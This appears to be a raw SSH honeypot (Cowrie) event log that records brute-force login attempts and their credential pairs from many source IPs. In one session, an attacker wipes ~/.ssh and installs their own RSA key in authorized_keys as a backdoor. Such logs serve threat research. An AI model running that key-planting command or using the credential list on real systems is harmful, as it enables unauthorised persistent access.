com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:13.188170Z","src_ip":"49.49.239.64","session":"2688a8e454e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123456","message":"login attempt [erp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:14.283900Z","src_ip":"49.49.239.64","session":"2688a8e454e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:15.552889Z","src_ip":"49.49.239.64","session":"2688a8e454e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"93.71.118.99","src_port":45320,"dst_ip":"159.203.135.109","dst_port":22,"session":"3aa7816b3ed1","protocol":"ssh","message":"New connection: 93.71.118.99:45320 (159.203.135.109:22) [session: 3aa7816b3ed1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:18.101771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:18.106189Z","src_ip":"93.71.118.99","session":"3aa7816b3ed1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:18.399054Z","src_ip":"93.71.118.99","session":"3aa7816b3ed1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"proradis","password":"1234","message":"login attempt [proradis/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:19.464939Z","src_ip":"93.71.118.99","session":"3aa7816b3ed1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:20.754090Z","src_ip":"93.71.118.99","session":"3aa7816b3ed1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47454,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff3c59132710","protocol":"ssh","message":"New connection: 2.57.122.208:47454 (159.203.135.109:22) [session: ff3c59132710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:50.417921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:50.512120Z","src_ip":"2.57.122.208","session":"ff3c59132710","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:50.715293Z","src_ip":"2.57.122.208","session":"ff3c59132710","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:51.544184Z","src_ip":"2.57.122.208","session":"ff3c59132710","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:18:52.656436Z","src_ip":"2.57.122.208","session":"ff3c59132710","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49686,"dst_ip":"159.203.135.109","dst_port":22,"session":"067455f18a27","protocol":"ssh","message":"New connection: 138.99.80.102:49686 (159.203.135.109:22) [session: 067455f18a27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:01.286378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:01.290455Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:01.398327Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:01.862462Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.126831Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.130225Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.134126Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.246099Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.495213Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.498028Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.609474Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.613580Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49694,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a924146df23","protocol":"ssh","message":"New connection: 138.99.80.102:49694 (159.203.135.109:22) [session: 7a924146df23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.715709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.720365Z","src_ip":"138.99.80.102","session":"7a924146df23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:02.828454Z","src_ip":"138.99.80.102","session":"7a924146df23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:03.294081Z","src_ip":"138.99.80.102","session":"7a924146df23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:04.405759Z","src_ip":"138.99.80.102","session":"7a924146df23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.99.80.102","src_port":49710,"dst_ip":"159.203.135.109","dst_port":22,"session":"a37ecdc46af7","protocol":"ssh","message":"New connection: 138.99.80.102:49710 (159.203.135.109:22) [session: a37ecdc46af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:04.510195Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:04.514358Z","src_ip":"138.99.80.102","session":"a37ecdc46af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:04.622432Z","src_ip":"138.99.80.102","session":"a37ecdc46af7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:05.085945Z","src_ip":"138.99.80.102","session":"a37ecdc46af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:05.194301Z","src_ip":"138.99.80.102","session":"067455f18a27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:05.199570Z","src_ip":"138.99.80.102","session":"a37ecdc46af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":39204,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed37a1281f97","protocol":"ssh","message":"New connection: 163.7.6.74:39204 (10.17.0.5:22) [session: ed37a1281f97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:45.696953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:45.701100Z","src_ip":"163.7.6.74","session":"ed37a1281f97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:45.955831Z","src_ip":"163.7.6.74","session":"ed37a1281f97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":38348,"dst_ip":"159.203.135.109","dst_port":22,"session":"da3dadc46565","protocol":"ssh","message":"New connection: 159.223.57.48:38348 (159.203.135.109:22) [session: da3dadc46565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:46.309198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:46.312311Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:46.556950Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vikas","password":"12345","message":"login attempt [vikas/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:47.005718Z","src_ip":"163.7.6.74","session":"ed37a1281f97","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:47.577777Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:19:48.101756Z","src_ip":"159.223.57.48","session":"da3dadc46565","protocol":"ssh"}
